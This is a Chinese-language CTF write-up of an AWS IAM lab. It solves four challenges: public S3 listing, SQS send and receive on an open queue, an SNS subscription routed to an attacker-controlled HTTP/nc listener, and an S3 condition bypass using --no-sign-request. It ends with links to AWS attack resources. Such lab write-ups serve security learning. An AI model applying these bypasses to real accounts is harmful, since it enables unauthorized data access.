aws靶场
在AWS靶场中，存在三个安全问题：1) 一个S3存储桶政策配置错误，允许公共访问，通过访问特定域名可获取flag。2) SQS消息队列的政策没有限制角色，允许发送和接收消息，通过aws sqs命令行工具的receive-message接口最终找到flag。3) SNS主题订阅政策过于开放，允许任意Endpoint订阅，使用HTTP协议订阅并结合AWS CLI的sns confirm-subscription命令获取完整响应，从而得到flag。最后一个挑战涉及存储桶的IAM策略，通过aws s3api命令的list-objects接口，利用无签名请求绕过权限限制访问flag。
存储桶泄露
查看第一个policy给出了这个问题，可以允许列出桶的权限，注意看Principal 这里没有限制具体的访问角色，这里的*代表互联网所有人都可以访问的意思，公开桶。
使用s3的命令行，其实可以获取到，可以通过其他命令复制出来，aws好像是没办法直接查看内容的
想直接查看内容的话，可以直接把resource提供的域名直接拼接到aws的域名上amazonaws.com ，见此，flag已经出来了，可以下一关
SQS消息队列
查看第二个的policy如箭头所示，没有限制具体的角色，而且允许sqs进行发消息和接收消息
通过阅读官方文章，sqs这块，有这么多个接口可以搞，但是注意，这块我们的权限只有send和receive
https://docs.aws.amazon.com/cli/latest/reference/sqs/send-message.html
根据文档上的构造，那么应该是把092297851374 和 wiz-tbic-analytics-sqs-queue-ca7a1b2进行拼接
aws sqs send-message --queue-url https://sqs.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
构造好的请求直接发包，发现抱错了
还需要–message-body，那继续添加随便加上111，但是返回来的json没有flag值。那么只能从rece接收信息的参数入手了
继续查看官网文档，receive-message构造例子如下，有的参数是不必须的得在测试中得到真理
构造后进行请求，获得的响应内容多了，有个很明显的链接，访问就是flag了。
aws sqs receive-message --queue-url https://sqs.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
SNS托管式消息传递服务
SNS和SQS的区别：
- SNS： SNS 是一种发布/订阅模型，其中消息发布到一个主题（Topic），然后所有订阅了该主题的终端（如应用程序、服务、端点等）都会接收到相同的消息。主题允许多个订阅者并支持广播和多播。
- SQS： SQS 是一种队列模型，其中消息被发送到队列，然后由队列的消费者（订阅者）按照顺序处理。每条消息只能由一个消费者接收，确保消息按照顺序处理。
了解了sns的基本含义之后，我们来看题目给的policy
- Action: 定义允许执行的操作，这里是 “SNS:Subscribe”，表示允许订阅 SNS 主题。
- Resource: 定义操作作用的资源，这里是 “arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications”，表示允许对指定 SNS 主题执行订阅操作。
- Condition: 是一个可选的部分，定义允许或拒绝操作的条件。在这里，使用了 “StringLike” 条件，要求 “sns:Endpoint” 的值符合 “*@tbic.wiz.io” 这个模式。
还是老样子，我们查看官方的文档
那么其实sns里面有protocol参数，可以指定http请求
那么subscribe权限下，获取http订阅消息的cli参数命令示例如下
aws sns subscribe --topic-arn arn:aws:sns:us-east-1:123456789012:MyTopic \--protocol http \--notification-endpoint http://example.com/endpoint
把题目给的参数带上发送请求
aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications \--protocol http \--notification-endpoint http://xxx:8089/@tbic.wiz.io
对应自己的服务器起了http服务，但是虽然能获取到响应，但是没办法获取更多的响应信息
琢磨了一段时间发现用tcp起端口，nc就可以获取所有响应信息了。但是这段信息里面，是没有flag的，
但是给过来的响应，已经提示了To confirm the subscription, visit the SubscribeURL included in this message
那么查阅文档后才知道确认消息的具体格式，也可以使用 aws sns confirm-subscription 命令来手动确认订阅，提供确认消息中的 Token：
aws sns confirm-subscription --topic-arn YOUR-TOPIC-ARN --token YOUR-SUBSCRIPTION-TOKEN
aws sns confirm-subscription --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --token 2336412f37fb687f5d51e6e2425c464ced460311901b18ad7c9bd3425561759e0bc3078a08b110692b8d11f962a2f83a2a0ff5067a20d9fc029a1d03eae63ce14c57cad0caeeabdf819036410bcf82b8fb95b2d2191762491329cae004ef65d7018b0c08e0a59abfff27ddabd67bd391c0f3c9fe7f6b172bac94f2f7c5eab424
虽然爆红了，说权限不够，但是还是可以收到sns发过来订阅的消息
在nc这边监听，获取到的message就是flag了
存储桶错误配置
在下面的policy可以知道，存储桶thebigiamchallenge-admin-storage-abf1321允许的操作是GetObject和ListBucket，但是"ForAllValues:StringLike"这块只允许arn:aws:iam::133713371337:user/admin 才能访问
这块其实想了很久，一直没有办法突破。因为没有办法绕过PrincipalArn的限制，最后是查阅官网文档：如果请求中没有上下文键或者上下文键值解析为空数据集（如空字符串），则也会返回 true
https://docs.aws.amazon.com/zh_cn/IAM/latest/UserGuide/reference_policies_condition-single-vs-multi-valued-context-keys.html
那么让上下文键值为空的话，查阅s3api的文档，可以带上–no-sign-request
发送请求，我们可以获取到flag了
aws s3api list-objects --bucket thebigiamchallenge-admin-storage-abf1321 --pre
fix 'files/' --no-sign-request
关于存储桶这块，我得记录一下 aws s3和aws s3api的区别 应该就是s3用的ak sk，s3api用的是sts token
记录的链接
aws相关链接
https://rzepsky.medium.com/aws-and-hackerone-ctf-write-up-4c37131f7cbb
https://www.hackthebox.com/blog/aws-pentesting-guide#common_aws_penetration_testing_techniques_within_an_attack_path
https://mystic0x1.github.io/posts/AWS-Privilege-Escalation-Part-01/
https://mystic0x1.github.io/posts/AWS-Privilege-Escalation-Part-02/
https://github.com/BishopFox/iam-vulnerable
https://github.com/andresriancho/enumerate-iam
https://github.com/ine-labs/AWSGoat 靶场
https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ 外国佬的知识
https://mp.weixin.qq.com/s/j8PNLwDAyoSidtuNWnYsMQ 利用AWS Lambda函数漏洞实现初始访问
下载对应的cli工具
https://aws.amazon.com/cn/cli/
/.aws/credentials
AWS漏洞利用框架Pacu
https://www.freebuf.com/sectool/190074.html
aws ssrf+cicd流程 rce 值得回味！
https://zone.huoxian.cn/d/1303-aws-elastic-beanstalk-ssrfrce
aws 攻击笔记大全
https://wiki.teamssix.com/CloudService/IAM/
aws中的iam是什么
